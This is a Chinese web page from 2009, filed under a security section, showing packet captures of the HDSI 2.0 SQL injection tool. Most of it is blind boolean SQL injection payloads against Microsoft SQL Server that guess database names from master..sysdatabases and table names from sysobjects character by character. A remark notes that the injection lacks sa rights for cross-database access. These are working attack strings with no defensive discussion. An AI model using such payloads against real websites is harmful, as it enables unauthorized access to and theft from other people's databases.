繁體中文当前位置: 首页 > 图文教程 > 服务器 > 安全防护 > hdsi2.0 sql注入部分抓包(3)
- 安全防护
- 网站被入侵后需做的检测
- 防范WEB SHELL
- 检测 Unix是否被入侵最快捷的方法
- 防范SQL指令植入式攻击
- 怎样搞好IIS的安全？
- ASP＋Access的安全隐患及对策
- 三步堵死SQL注入漏洞
- 跨站式SQL注入技巧
- 网站服务器通用和专用保护方法比较分析(1)
- 网站服务器通用和专用保护方法比较分析(2)
- 网站服务器通用和专用保护方法比较分析(3)
- 黑客的木马：Web应用程序
- 偷看ASP原码的6种方法
- 入侵动易2005
- 有关IIS HACK的一些方法整理
- 净化网络 让不良内容远离80端口
- 给WIN2003 IIS SQL服务器安全加固
- 巧用KWF 打造与众不同的VPN服务器
- FSO 安全隐患解决办法
- ASP木马Webshell安全解决办案
安全防护 中的 hdsi2.0 sql注入部分抓包(3)
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-10-29 浏览: 38 ::
收藏到网摘: n/a
猜解数据库：
GET
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <8
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <4
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <6
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <7
...
...
...
and (Select top 1 ascii(substring(name,2,1)) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by
dbid
desc) <104
and (Select top 1 ascii(substring(name,3,1)) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by
dbid
desc) <104
...
...
...
and (Select top 1 len(name) from (Select top 4 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <5
master 不是sa权限，不能跨库
猜解表名：
EventCategory
GET
and (Select top 1 unicode(substring(name,2,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char(85))
T
order by id desc) < 80
and (Select top 1 unicode(substring(name,11,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char
(85)) T
order by id desc) < 80
and (Select top 1 unicode(substring(name,12,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char
(85)) T
order by id desc) < 80
and (Select top 1 unicode(substring(name,6,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char(85))
T
order by id desc) < 80
评论 (0) All
